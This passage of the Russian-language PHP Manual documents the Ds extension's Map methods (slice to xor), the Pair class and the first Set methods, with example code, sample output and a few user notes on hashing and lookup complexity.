$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3, "d" => 4, "e" => 5]);

// Подмножество после индекса 2
print_r($map->slice(2)->toArray());

// Подмножество, начиная с индекса 1 с длиной 3
print_r($map->slice(1, 3)->toArray());

// Подмножество после индекса 1
print_r($map->slice(1)->toArray());

// Подмножество после индекса 2 с конца
print_r($map->slice(-2)->toArray());

// Подмножество после индекса 1, отсчитывая с конца
print_r($map->slice(1, -1)->toArray());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [c] => 3
    [d] => 4
    [e] => 5
)
Array
(
    [b] => 2
    [c] => 3
    [d] => 4
)
Array
(
    [b] => 2
    [c] => 3
    [d] => 4
    [e] => 5
)
Array
(
    [d] => 4
    [e] => 5
)
Array
(
    [b] => 2
    [c] => 3
    [d] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Сортирует коллекцию по значениям

  • « Ds\Map::slice
  • Ds\Map::sorted »
  • PHP Manual
  • Ds\Map
  • Сортирует коллекцию по значениям

Ds\Map::sort

(PECL ds >= 1.0.0)

Ds\Map::sort — Сортирует коллекцию по значениям

Описание

public Ds\Map::sort(callable $comparator = ?): void

Сортирует коллекцию по значениям, необязательно используя callback-функцию comparator.

Список параметров

comparator

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Map::sort()

<?php
$map = new \Ds\Map(["a" => 2, "b" => 3, "c" => 1]);
$map->sort();

print_r($map);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => c
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => b
            [value] => 3
        )

)

Пример #2 Пример использования Ds\Map::sort() с callback-функцией сравнения

<?php
$map = new \Ds\Map(["a" => 2, "b" => 3, "c" => 1]);

$map->sort(function($a, $b) {
return $b <=> $a;
});

print_r($map);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => b
            [value] => 3
        )

    [1] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 1
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает отсортированную по значению копию коллекции

  • « Ds\Map::sort
  • Ds\Map::sum »
  • PHP Manual
  • Ds\Map
  • Возвращает отсортированную по значению копию коллекции

Ds\Map::sorted

(PECL ds >= 1.0.0)

Ds\Map::sorted — Возвращает отсортированную по значению копию коллекции

Описание

public Ds\Map::sorted(callable $comparator = ?): Ds\Map

Возвращает отсортированную по значению копию коллекции, необязательно используя callback-функцию comparator.

Список параметров

comparator

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Возвращает отсортированную по значению копию коллекции.

Примеры

Пример #1 Пример использования Ds\Map::sort()

<?php
$map = new \Ds\Map(["a" => 2, "b" => 3, "c" => 1]);

print_r($map->sorted());
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => c
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => b
            [value] => 3
        )

)

Пример #2 Пример использования Ds\Map::sort() с callback-функцией сравнения

<?php
$map = new \Ds\Map(["a" => 2, "b" => 3, "c" => 1]);

// Reverse
$sorted = $map->sorted(function($a, $b) {
return $b <=> $a;
});

print_r($sorted);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => b
            [value] => 3
        )

    [1] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 1
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сумму всех значений коллекции

  • « Ds\Map::sorted
  • Ds\Map::toArray »
  • PHP Manual
  • Ds\Map
  • Возвращает сумму всех значений коллекции

Ds\Map::sum

(Информация о версии неизвестна, возможно, только в Git)

Ds\Map::sum — Возвращает сумму всех значений коллекции

Описание

public Ds\Map::sum(): int|float

Возвращает сумму всех значений коллекции.

Замечание:

Массивы и объекты считаются за ноль.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Сумма всех значений коллекции типов float или int, в зависимости от значений коллекции.

Примеры

Пример #1 Пример использования Ds\Map::sum() с целочисленными значениями

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map->sum());
?>

Результатом выполнения данного примера будет что-то подобное:

int(6)

Пример #2 Пример использования Ds\Map::sum() со значениями типа float

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2.5, "c" => 3]);
var_dump($map->sum());
?>

Результатом выполнения данного примера будет что-то подобное:

float(6.5)

User Contributed Notes

There are no user contributed notes for this page.


Преобразует коллекцию в array

  • « Ds\Map::sum
  • Ds\Map::union »
  • PHP Manual
  • Ds\Map
  • Преобразует коллекцию в array

Ds\Map::toArray

(PECL ds >= 1.0.0)

Ds\Map::toArray — Преобразует коллекцию в array

Описание

public Ds\Map::toArray(): array

Преобразует коллекцию в array.

Предостережение

Коллекции пар, содержащие нескалярные ключи не могут быть преобразованы в массив (array).

Предостережение

Массив (array) будет считать все числовые ключи за целочисленные, т.е. оба ключа "1" и 1 будут восприняты как 1 и только один из элементов попадёт в результирующий массив.

Замечание:

Приведение к типу array пока не поддерживается.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array), содержащий все элементы коллекции с сохранением их порядка.

Примеры

Пример #1 Пример использования Ds\Map::toArray()

<?php
$map = new \Ds\Map([
"a" => 1,
"b" => 2,
"c" => 3,
]);

var_dump($map->toArray());
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  ["a"]=>
  int(1)
  ["b"]=>
  int(2)
  ["c"]=>
  int(3)
}

User Contributed Notes

foalford at gmail dot com 07-Jul-2020 06:57
When using Hashable object as $key, Map::put() will not call the Hashable::hash() on the key until later. For example

<?
class Key implements \Ds\Hashable
{
    protected $id;

    public function __construct($id)
    {
        $this->id = $id;
    }

    public function equals($obj) : bool
    {
        return $this->id == $obj->id;
    }

    public function hash()
    {
        return $this->id;
    }
}
$map = new \Ds\Map();
$myki = new Key('myki');

$map->put($myki, "Value String");

var_dump($map->get($myki));
echo 'Map::put() store the Hashable object and it cause error in toArray()'. PHP_EOL;
var_dump($map->toArray());
?>


Создаёт новую коллекцию пар из элементов двух коллекций

  • « Ds\Map::toArray
  • Ds\Map::values »
  • PHP Manual
  • Ds\Map
  • Создаёт новую коллекцию пар из элементов двух коллекций

Ds\Map::union

(PECL ds >= 1.0.0)

Ds\Map::union — Создаёт новую коллекцию пар из элементов двух коллекций

Описание

public Ds\Map::union(Ds\Map $map): Ds\Map

Создаёт новую коллекцию пар, содержащую пары текущей и переданной в map коллекций.

A ? B = {x: x ? A ? x ? B}

Замечание:

В случае совпадения ключей, значения элементов будут браться из переданной коллекции.

Список параметров

map

Новая коллекция, для объединения с текущей.

Возвращаемые значения

Новая коллекция пар, являющийся объединением текущей и переданной в map.

Смотрите также

  • » Объединение в Википедия

Примеры

Пример #1 Пример использования Ds\Map::union()

<?php
$a = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$b = new \Ds\Map(["b" => 3, "c" => 4, "d" => 5]);

print_r($a->union($b));
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 3
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 4
        )

    [3] => Ds\Pair Object
        (
            [key] => d
            [value] => 5
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последовательность значений коллекции

  • « Ds\Map::union
  • Ds\Map::xor »
  • PHP Manual
  • Ds\Map
  • Возвращает последовательность значений коллекции

Ds\Map::values

(PECL ds >= 1.0.0)

Ds\Map::values — Возвращает последовательность значений коллекции

Описание

public Ds\Map::values(): Ds\Sequence

Возвращает последовательность значений коллекции, сохраняя их порядок.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Последовательность (Ds\Sequence), содержащая все значения коллекции.

Примеры

Пример #1 Пример использования Ds\Map::values()

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map->values());
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Vector)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новую коллекцию пар из элементов, которые есть в одной из коллекций, но не в обеих одновременно

  • « Ds\Map::values
  • Ds\Pair »
  • PHP Manual
  • Ds\Map
  • Создаёт новую коллекцию пар из элементов, которые есть в одной из коллекций, но не в обеих одновременно

Ds\Map::xor

(PECL ds >= 1.0.0)

Ds\Map::xor — Создаёт новую коллекцию пар из элементов, которые есть в одной из коллекций, но не в обеих одновременно

Описание

public Ds\Map::xor(Ds\Map $map): Ds\Map

Создаёт новую коллекцию пар из элементов, ключи которых есть в текущей коллекции, либо в переданной в map, но не в обеих одновременно.

A ? B = {x : x ? (A \ B) ? (B \ A)}

Список параметров

map

Вторая коллекция пар.

Возвращаемые значения

Новая коллекция пар из элементов, ключи которых есть в текущей коллекции, либо в переданной в map, но не в обеих одновременно.

Смотрите также

  • » Симметрическая разность в Википедия

Примеры

Пример #1 Пример использования Ds\Map::xor()

<?php
$a = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$b = new \Ds\Map(["b" => 4, "c" => 5, "d" => 6]);

print_r($a->xor($b));
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => d
            [value] => 6
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Класс Pair

(PECL ds >= 1.0.0)

Введение

Пары используются классом Ds\Map для хранения пар ключ-значение.

Обзор классов

class Ds\Pair implements JsonSerializable {
/* Методы */
public __construct(mixed $key = ?, mixed $value = ?)
public clear(): void
public copy(): Ds\Pair
public isEmpty(): bool
public toArray(): array
}

Содержание

  • Ds\Pair::clear — Удаляет все значения
  • Ds\Pair::__construct — Создаёт экземпляр класса
  • Ds\Pair::copy — Возвращает поверхностную копию пары
  • Ds\Pair::isEmpty — Проверяет, является ли пара пустой
  • Ds\Pair::jsonSerialize — Возвращает пару в представлении JSON
  • Ds\Pair::toArray — Преобразует пару в массив (array)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все значения

  • « Ds\Pair
  • Ds\Pair::__construct »
  • PHP Manual
  • Ds\Pair
  • Удаляет все значения

Ds\Pair::clear

(Информация о версии неизвестна, возможно, только в Git)

Ds\Pair::clear — Удаляет все значения

Описание

public Ds\Pair::clear(): void

Удаляет все значения из пары.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Pair::clear()

<?php
$pair = new \Ds\Pair("a", 1);
print_r($pair);

$pair->clear();
print_r($pair);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Pair Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Pair Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт экземпляр класса

  • « Ds\Pair::clear
  • Ds\Pair::copy »
  • PHP Manual
  • Ds\Pair
  • Создаёт экземпляр класса

Ds\Pair::__construct

(PECL ds >= 1.0.0)

Ds\Pair::__construct — Создаёт экземпляр класса

Описание

public Ds\Pair::__construct(mixed $key = ?, mixed $value = ?)

Создание экземпляр класса с заданными ключом key и значением value.

Список параметров

key

Ключ.

value

Значение.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает поверхностную копию пары

  • « Ds\Pair::__construct
  • Ds\Pair::isEmpty »
  • PHP Manual
  • Ds\Pair
  • Возвращает поверхностную копию пары

Ds\Pair::copy

(Информация о версии неизвестна, возможно, только в Git)

Ds\Pair::copy — Возвращает поверхностную копию пары

Описание

public Ds\Pair::copy(): Ds\Pair

Возвращает поверхностную копию пары.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

.

Примеры

Пример #1 Пример использования Ds\Pair::copy()

<?php
$a = new \Ds\Pair("a", 1);
$b = $a->copy();

$a->key = "x";

print_r($a);
print_r($b);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Pair Object
(
    [key] => x
    [value] => 1
)
Ds\Pair Object
(
    [key] => a
    [value] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли пара пустой

  • « Ds\Pair::copy
  • Ds\Pair::jsonSerialize »
  • PHP Manual
  • Ds\Pair
  • Проверяет, является ли пара пустой

Ds\Pair::isEmpty

(Информация о версии неизвестна, возможно, только в Git)

Ds\Pair::isEmpty — Проверяет, является ли пара пустой

Описание

public Ds\Pair::isEmpty(): bool

Определяет, является ли пара пустой.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если пара пустая и false в противном случае.

Примеры

Пример #1 Пример использования Ds\Pair::isEmpty()

<?php
$a = new \Ds\Pair("a", 1);
$b = new \Ds\Pair();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает пару в представлении JSON

  • « Ds\Pair::isEmpty
  • Ds\Pair::toArray »
  • PHP Manual
  • Ds\Pair
  • Возвращает пару в представлении JSON

Ds\Pair::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Pair::jsonSerialize — Возвращает пару в представлении JSON

Смотрите функцию JsonSerializable::jsonSerialize()

Замечание:

Вы не должны вызывать этот метод напрямую.

User Contributed Notes

There are no user contributed notes for this page.


Преобразует пару в массив (array)

  • « Ds\Pair::jsonSerialize
  • Ds\Set »
  • PHP Manual
  • Ds\Pair
  • Преобразует пару в массив (array)

Ds\Pair::toArray

(PECL ds >= 1.0.0)

Ds\Pair::toArray — Преобразует пару в массив (array)

Описание

public Ds\Pair::toArray(): array

Преобразует пару в массив (array).

Замечание:

Приведение к массиву пока не поддерживается.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив, содержащий элементы в том же порядке, как они были в паре.

Примеры

Пример #1 Пример использования Ds\Pair::toArray()

<?php
$pair = new \Ds\Pair("a", 1);

var_dump($pair->toArray());
?>

Результатом выполнения данного примера будет что-то подобное:

array(2) {
  ["key"]=>
  string(1) "a"
  ["value"]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Set

(PECL ds >= 1.0.0)

Введение

Set - это последовательность уникальных значений. Реализация использует ту же хеш-таблицу, что и Ds\Map, в которой значения используются в качестве ключей, а связанные значения игнорируются.

Сильные стороны

  • Значения могут быть любого типа, включая объекты.
  • Поддерживает синтаксис массива (квадратные скобки).
  • Сохраняется порядок вставки.
  • Автоматически высвобождает память, когда количество элементов значительно уменьшается.
  • add(),
remove() и
contains() имеют сложность O(1).

Слабые стороны

  • Не поддерживает
      push(),
      pop(),
      insert(),
      shift() и
      unshift().
  • get() имеет сложность O(n), если есть удалённые значения в буфере, до значения, к которому происходит доступ. Иначе O(1).

Обзор классов

class Ds\Set implements Ds\Collection, ArrayAccess {
/* Константы */
const int MIN_CAPACITY = 16;
/* Методы */
public add(mixed ...$values): void
public allocate(int $capacity): void
public capacity(): int
public clear(): void
public contains(mixed ...$values): bool
public copy(): Ds\Set
public diff(Ds\Set $set): Ds\Set
public filter(callable $callback = ?): Ds\Set
public first(): mixed
public get(int $index): mixed
public intersect(Ds\Set $set): Ds\Set
public isEmpty(): bool
public join(string $glue = ?): string
public last(): mixed
public merge(mixed $values): Ds\Set
public reduce(callable $callback, mixed $initial = ?): mixed
public remove(mixed ...$values): void
public reverse(): void
public reversed(): Ds\Set
public slice(int $index, int $length = ?): Ds\Set
public sort(callable $comparator = ?): void
public sorted(callable $comparator = ?): Ds\Set
public sum(): int|float
public toArray(): array
public union(Ds\Set $set): Ds\Set
public xor(Ds\Set $set): Ds\Set
}

Предопределённые константы

Ds\Set::MIN_CAPACITY

Список изменений

Версия | Описание
PECL ds 1.3.0 | Теперь класс реализует ArrayAccess.

Содержание

  • Ds\Set::add — Добавляет значения в набор
  • Ds\Set::allocate — Выделяет память под указанную вместимость
  • Ds\Set::capacity — Возвращает текущую вместимость
  • Ds\Set::clear — Удаляет все значения из коллекции
  • Ds\Set::__construct — Создаёт новый экземпляр класса
  • Ds\Set::contains — Проверяет, содержится ли в коллекции заданные значения
  • Ds\Set::copy — Возвращает поверхностную копию коллекции
  • Ds\Set::count — Возвращает количество элементов коллекции
  • Ds\Set::diff — Создаёт новый набор с элементами, которых нет в другом наборе
  • Ds\Set::filter — Создаёт новый список из элементов, выбранных с помощью заданной callback-функции
  • Ds\Set::first — Возвращает первый элемент коллекции
  • Ds\Set::get — Возвращает значение по индексу
  • Ds\Set::intersect — Создаёт новый набор, созданный пересечением с другим набором
  • Ds\Set::isEmpty — Проверяет, пуста ли коллекция
  • Ds\Set::join — Склеивает все значения в строку
  • Ds\Set::jsonSerialize — Возвращает коллекцию в JSON-представлении
  • Ds\Set::last — Возвращает последнее значение коллекции
  • Ds\Set::merge — Возвращает результат добавления всех заданных значений в набор
  • Ds\Set::reduce — Уменьшает коллекцию до одного значения, используя callback-функцию
  • Ds\Set::remove — Удаляет все заданные значения из набора
  • Ds\Set::reverse — Переворачивает текущую коллекцию
  • Ds\Set::reversed — Возвращает перевёрнутую копию коллекции
  • Ds\Set::slice — Возвращает поднабор из заданного диапазона
  • Ds\Set::sort — Сортирует коллекцию
  • Ds\Set::sorted — Возвращает отсортированную по значению копию коллекции
  • Ds\Set::sum — Возвращает сумму всех значений коллекции
  • Ds\Set::toArray — Преобразует коллекцию в массив (array)
  • Ds\Set::union — Создаёт новый набор из элементов текущего и переданного наборов
  • Ds\Set::xor — Создаёт новый набор из значений, которые есть в одном из наборов, но не в обоих одновременно

User Contributed Notes

Sbastien 24-May-2022 10:08
One nice thing is the type-awarness. array_unique() lose values (whatever flag), while Ds\Set keep them.

<?php

$array = [true, false, null, '', 0, '0', 123, '123'];
var_dump(array_unique($array));
var_dump(new \Ds\Set($array));

/*

Gives :

array(4) {
  [0]=> bool(true)
  [1]=> bool(false)
  [4]=> int(0)
  [6]=> int(123)
}
object(Ds\Set)#1 (8) {
  [0]=> bool(true)
  [1]=> bool(false)
  [2]=> NULL
  [3]=> string(0) ""
  [4]=> int(0)
  [5]=> string(1) "0"
  [6]=> int(123)
  [7]=> string(3) "123"
}

*/
rtheunissen at php dot net 04-Jul-2018 03:08
Lookups by value are O(1), lookups by index are O(n) if there are deleted values before the index, O(1) otherwise.
Anonymous 01-Feb-2018 01:49
Lookup for a Set should be O(1). This is true for sets and hashtables (eg maps) in any language.

The way this is possible is that sets store values differently than arrays.

In an array values are stored sequentially based on what their place is in the array and where that array is in memory, so to find your item you need to scan through the array sequentially to find your item (unless it's a sorted array, then you can use binary search at O(logn)).

Sets declare a block of memory, like an array, but instead of putting items in memory in sequence, like an array, they determine the index of the item to add by running the item through a hash function (essentially a function that takes in an object and returns an evenly distributed, very large random number), and then modulousing the result of that hash function by the size of the memory block they have.

So, when you call contains($needle, $mySetHaystack), php will take $needle, and feed it into a hashfunction, which will return a big number like 9283472378, then it takes the length of $mySetHaystack (let's say 31), and does 9283472378 % 31 = 28, so it checks the 28th index of $mySetHaystack to see if $needle is there. Everything in this list of operations is independent of the size of $mySetHaystack, hence the perf being O(1).

If a hash function returns the same value for two different items (a hash collision, which totally happens), or if the modulo of that value is the same, then an array of values is stored in the set at that index. Since sets don't allow duplicate values, this happens rarely and is negligible from a perf perspective.

You should check out the wikipedia page on hash tables (similar to sets), as there are lots of pictures that will make this concept easier to understand.
vdavila dot sm at gmail dot com 15-Oct-2017 02:07
I have a question is contains() a O(1)? and why?


Добавляет значения в набор

  • « Ds\Set
  • Ds\Set::allocate »
  • PHP Manual
  • Ds\Set
  • Добавляет значения в набор

Ds\Set::add

(PECL ds >= 1.0.0)

Ds\Set::add — Добавляет значения в набор

Описание

public Ds\Set::add(mixed ...$values): void

Добавляет все заданные значения в набор, если они ранее не были добавлены.

Замечание:

Поддерживаются значения типа object. Если объект реализует интерфейс Ds\Hashable, проверка производится путём вызова метода объекта equals. Если объект не реализует интерфейс Ds\Hashable, объекты должны ссылаться на один и тот же экземпляр класса.

Предостережение

Все сравнения строгие (по типу и значению).

Список параметров

values

Добавляемые значение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Set::add() со скалярными значениями

<?php
$set = new \Ds\Set();

$set->add(1);
$set->add(1);
$set->add(2);
$set->add(3);

// Производится строгое сравнение, поэтому "1" не приведётся к int(1)
$set->add("1");
$set->add(true);

var_dump($set);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Set)#1 (5) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  string(1) "1"
  [4]=>
  bool(true)
}

Пример #2 Пример использования Ds\Set::add() с объектами

<?php
class HashableObject implements \Ds\Hashable
{
/**
* Произвольное значение для использования в качестве значения хеша.
* Не определяет равенство.
*/
private $value;

public function __construct($value)
{
$this->value = $value;
}

public function hash()
{
return $this->value;
}

public function equals($obj): bool
{
return $this->value === $obj->value;
}
}

$set = new \Ds\Set();

$obj = new \ArrayIterator([]);

// При добавлении одного и того же экземпляря несколько раз, добавится только первый.
$set->add($obj);
$set->add($obj);

// При добавлении нескольких экземпляров одного и того же объекта, они все добавятся.
$set->add(new \stdClass());
$set->add(new \stdClass());

// При добавлении объектов с одинаковым хешем несколько раз, добавится только первый.
$set->add(new \HashableObject(1));
$set->add(new \HashableObject(1));
$set->add(new \HashableObject(2));
$set->add(new \HashableObject(2));

var_dump($set);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Set)#1 (5) {
  [0]=>
  object(ArrayIterator)#2 (1) {
    ["storage":"ArrayIterator":private]=>
    array(0) {
    }
  }
  [1]=>
  object(stdClass)#3 (0) {
  }
  [2]=>
  object(stdClass)#4 (0) {
  }
  [3]=>
  object(HashableObject)#5 (1) {
    ["value":"HashableObject":private]=>
    int(1)
  }
  [4]=>
  object(HashableObject)#6 (1) {
    ["value":"HashableObject":private]=>
    int(2)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Выделяет память под указанную вместимость

  • « Ds\Set::add
  • Ds\Set::capacity »
  • PHP Manual
  • Ds\Set
  • Выделяет память под указанную вместимость

Ds\Set::allocate

(PECL ds >= 1.0.0)

Ds\Set::allocate — Выделяет память под указанную вместимость

Описание

public Ds\Set::allocate(int $capacity): void

Выделяет память под указанную вместимость.

Список параметров

capacity

Вместимость. Предполагаемое количество значений.

Замечание:

Если новое значение вместимости меньше текущего, то оно не изменится.

Замечание:

Значение вместимости округляется вверх до ближайшей степени двойки (т.е 8, 16, 32, 64, 128 и т.д.)

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Set::allocate()

<?php
$set = new \Ds\Set();
var_dump($set->capacity());

$set->allocate(100);
var_dump($set->capacity());
?>

Результатом выполнения данного примера будет что-то подобное:

int(16)
int(128)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую вместимость

  • « Ds\Set::allocate
  • Ds\Set::clear »
  • PHP Manual
  • Ds\Set
  • Возвращает текущую вместимость

Ds\Set::capacity

(PECL ds >= 1.0.0)

Ds\Set::capacity — Возвращает текущую вместимость

Описание

public Ds\Set::capacity(): int

Возвращает текущую вместимость.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая вместимость.

Примеры

Пример #1 Пример использования Ds\Set::capacity()

<?php
$set = new \Ds\Set();
var_dump($set->capacity());

$set->add(...range(1, 50));
var_dump($set->capacity());
?>

Результатом выполнения данного примера будет что-то подобное:

int(16)
int(64)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все значения из коллекции

  • « Ds\Set::capacity
  • Ds\Set::__construct »
  • PHP Manual
  • Ds\Set
  • Удаляет все значения из коллекции

Ds\Set::clear

(PECL ds >= 1.0.0)

Ds\Set::clear — Удаляет все значения из коллекции

Описание

public Ds\Set::clear(): void

Удаляет все значения из коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Set::clear()

<?php
$set = new \Ds\Set([1, 2, 3]);
print_r($set);

$set->clear();
print_r($set);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Set Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Set Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр класса

  • « Ds\Set::clear
  • Ds\Set::contains »
  • PHP Manual
  • Ds\Set
  • Создаёт новый экземпляр класса

Ds\Set::__construct

(PECL ds >= 1.0.0)

Ds\Set::__construct — Создаёт новый экземпляр класса

Описание

public Ds\Set::__construct(mixed $values = [])

Создаёт новый экземпляр класса, используя либо объект, реализующий traversable, либо массив, переданные в качестве параметра values.

Список параметров

values

Объект, реализующий интерфейс traversable или массив.

Примеры

Пример #1 Пример использования Ds\Set::__construct()

<?php
$set = new \Ds\Set();
var_dump($set);

$set = new \Ds\Set([1, 2, 3]);
var_dump($set);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Set)#1 (0) {
}
object(Ds\Set)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, содержится ли в коллекции заданные значения

  • « Ds\Set::__construct
  • Ds\Set::copy »
  • PHP Manual
  • Ds\Set
  • Проверяет, содержится ли в коллекции заданные значения

Ds\Set::contains

(PECL ds >= 1.0.0)

Ds\Set::contains — Проверяет, содержится ли в коллекции заданные значения

Описание

public Ds\Set::contains(mixed ...$values): bool

Проверяет, содержится ли в коллекции заданные значения.

Замечание:

Поддерживаются значения типа object. Если объект реализует интерфейс Ds\Hashable, проверка производится путём вызова метода объекта equals. Если объект не реализует интерфейс Ds\Hashable, объекты должны ссылаться на один и тот же экземпляр класса.

Предостережение

Все сравнения строгие, по типу и значению.

Список параметров

values

Значения для проверки.

Возвращаемые значения

Возвращает false, если хотя бы одно значение из values не найдено в коллекции и true в противном случае.

Примеры

Пример #1 Пример использования Ds\Set::contains()

<?php
$set = new \Ds\Set([1, 2, 3]);

var_dump($set->contains(1)); // true
var_dump($set->contains(1, 2)); // true
var_dump($set->contains(...[1, 2])); // true

var_dump($set->contains("1")); // false
var_dump($set->contains(...[1, 2, 3, 4])); // false

var_dump($set->contains(...[])); // true
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(true)
bool(false)
bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает поверхностную копию коллекции

  • « Ds\Set::contains
  • Ds\Set::count »
  • PHP Manual
  • Ds\Set
  • Возвращает поверхностную копию коллекции

Ds\Set::copy

(PECL ds >= 1.0.0)

Ds\Set::copy — Возвращает поверхностную копию коллекции

Описание

public Ds\Set::copy(): Ds\Set

Возвращает поверхностную копию коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Поверхностная копия коллекции.

Примеры

Пример #1 Пример использования Ds\Set::copy()

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = $a->copy();

// Изменение копии не отражается на оригинале
$b->add(4);

print_r($a);
print_r($b);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Set Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Set Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество элементов коллекции

  • « Ds\Set::copy
  • Ds\Set::diff »
  • PHP Manual
  • Ds\Set
  • Возвращает количество элементов коллекции

Ds\Set::count

(PECL ds >= 1.0.0)

Ds\Set::count — Возвращает количество элементов коллекции

Смотрите описание функции Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый набор с элементами, которых нет в другом наборе

  • « Ds\Set::count
  • Ds\Set::filter »
  • PHP Manual
  • Ds\Set
  • Создаёт новый набор с элементами, которых нет в другом наборе

Ds\Set::diff

(PECL ds >= 1.0.0)

Ds\Set::diff — Создаёт новый набор с элементами, которых нет в другом наборе

Описание

public Ds\Set::diff(Ds\Set $set): Ds\Set

Создаёт новый набор с элементами, которых нет в другом наборе.

A \ B = {x ? A | x ? B}

Список параметров

set

Набор, содержащий элементы, которые надо исключить из нового набора.

Возвращаемые значения

Новый набор, содержащий все элементы, которые есть в текущем наборе и отсутствуют в переданном set.

Смотрите также

  • » Разность множеств на Википедия

Примеры

Пример #1 Пример использованияDs\Set::diff()

<?php
$a = new \Ds\Set([1, 2, 3]);
